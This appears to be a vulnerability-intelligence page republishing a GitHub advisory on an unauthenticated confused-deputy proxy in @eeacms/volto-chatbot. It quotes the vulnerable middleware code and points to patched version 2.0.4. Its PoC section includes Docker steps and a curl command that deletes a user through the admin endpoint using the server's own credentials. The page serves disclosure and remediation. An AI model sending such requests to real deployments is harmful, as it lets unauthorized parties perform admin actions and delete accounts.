KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 18:26 UTC

Back to the wire
Permalink
VulnerabilityGHSA-w9x9-j56r-h98r

@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy

@eeacms/volto-chatbot exposes an Express middleware route (/_v1_da/) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER_API_KEY or session cookie).

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: @eeacms/volto-chatbot: 2.0.4. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-w9x9-j56r-h98r (opens a new tab)

What happened

Summary

@eeacms/volto-chatbot exposes an Express middleware route (/_v1_da/) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER_API_KEY or session cookie).

Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.

Details

Continue reading

The vulnerability is introduced across two source files in @eeacms/volto-chatbot@2.0.3.

Route registration (src/index.js:15):

middleware.all('**/_v1_da/**', proxyMiddleware);

The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before proxyMiddleware. This means all requests reaching any /_v1_da/ path are forwarded without any identity check.

Unvalidated path extraction and upstream URL construction (src/middleware.js:228-230):

const path = req.url.replace('/_v1_da/', '/');
const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;

The attacker-controlled req.url is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.

Credential attachment and forwarding (src/middleware.js:164, src/middleware.js:169, src/middleware.js:202):

// Session-cookie path (line 164):
headers = { Cookie: cached_auth_cookie, ... }

// API-key path (line 169):
Authorization: 'Bearer ' + api_key,

// Sink — final upstream dispatch (line 202):
const response = await fetch(url, options, req.body);

After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a Bearer API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.

Complete data flow (source → sink):

1. src/index.js:15 — all /_v1_da/ paths registered to proxyMiddleware with no auth guard (source: external HTTP request). 2. src/middleware.js:228 — req.url used directly to derive the upstream path without allowlist. 3. src/middleware.js:230 — attacker-controlled path appended to ${DANSWER_URL}/api. 4. src/middleware.js:164 / src/middleware.js:169 — server-side session cookie or API key attached. 5. src/middleware.

js:202 — fetch(url, options, req.body) sends the fully-credentialed request to the Danswer backend (sink).

This vulnerability is present whenever the add-on middleware is installed and DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD is configured — conditions required for normal, documented operation of the package.

PoC

The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.

Prerequisites: - Docker installed - Python 3 with the requests library

Step 1 — Build the Docker image (from the npmAI_719_eea__volto-chatbot/ parent directory):

docker build \
 -f vuln-001/Dockerfile \
 -t vuln001-proxy \
 reports/npmAI_719_eea__volto-chatbot

The image packages the unmodified src/middleware.js from @eeacms/volto-chatbot@2.0.3, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable DANSWER_API_KEY=supersecret is set to simulate a real deployment.

Step 2 — Start the container:

docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy

This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.

Step 3 — Run the PoC exploit script:

python3 vuln-001/poc.py 127.0.0.1 3000

What the script does: 1. Waits for the proxy to accept TCP connections. 2. Sends an unauthenticated POST request with a JSON body to the admin-only Danswer endpoint via the proxy:

POST http://127.0.0.1:3000/_v1_da/admin/users/delete
Content-Type: application/json

{"id": "victim-user-123"}

No Authorization or Cookie header is sent by the client.

Expected output (exploit confirmed):

[+] === EXPLOIT CONFIRMED — PASS ===
[+] Decisive evidence:
 1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
 2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
 3. Attacker-controlled HTTP method forwarded : method='POST'

The mock Danswer server receives POST /api/admin/users/delete with Authorization: Bearer supersecret — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.

Equivalent manual curl command (without Docker):

# Terminal 1 — mock Danswer server
node - {
 let b = ''; req.on('data', c => b += c);
 req.on('end', () => {
 res.setHeader('content-type', 'application/json');
 res.end(JSON.stringify({
 method: req.method, url: req.url,
 authorization: req.headers.authorization || null,
 body: b
 }));
 });
}).listen(18080, () => console.log('mock Danswer on :18080'));
NODE

# Terminal 2 — Volto with Danswer credentials configured
DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start

# Terminal 3 — unauthenticated exploit request
curl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \
 -H 'Content-Type: application/json' \
 --data '{"id":"victim-user-123"}'

Affected package ranges reported by GitHub: @eeacms/volto-chatbot: <= 2.0.3

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-w9x9-j56r-h98r (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w9x9-j56r-h98r, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 29). @eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy. https://kevwire.com/record/GHSA-w9x9-j56r-h98r

MLA

"@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy." KEVWire, 29 Oct. 2026, kevwire.com/record/GHSA-w9x9-j56r-h98r.

Chicago

KEVWire. "@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy." Last modified October 29, 2026. https://kevwire.com/record/GHSA-w9x9-j56r-h98r.

Evidence summary (plain text)

@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy (Oct 29, 2026).
@eeacms/volto-chatbot exposes an Express middleware route (/_v1_da/) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER_API_KEY or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account.
Sources:
GitHub-reviewed advisory GHSA-w9x9-j56r-h98r: https://github.com/advisories/GHSA-w9x9-j56r-h98r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-w9x9-j56r-h98r.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 18:26 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail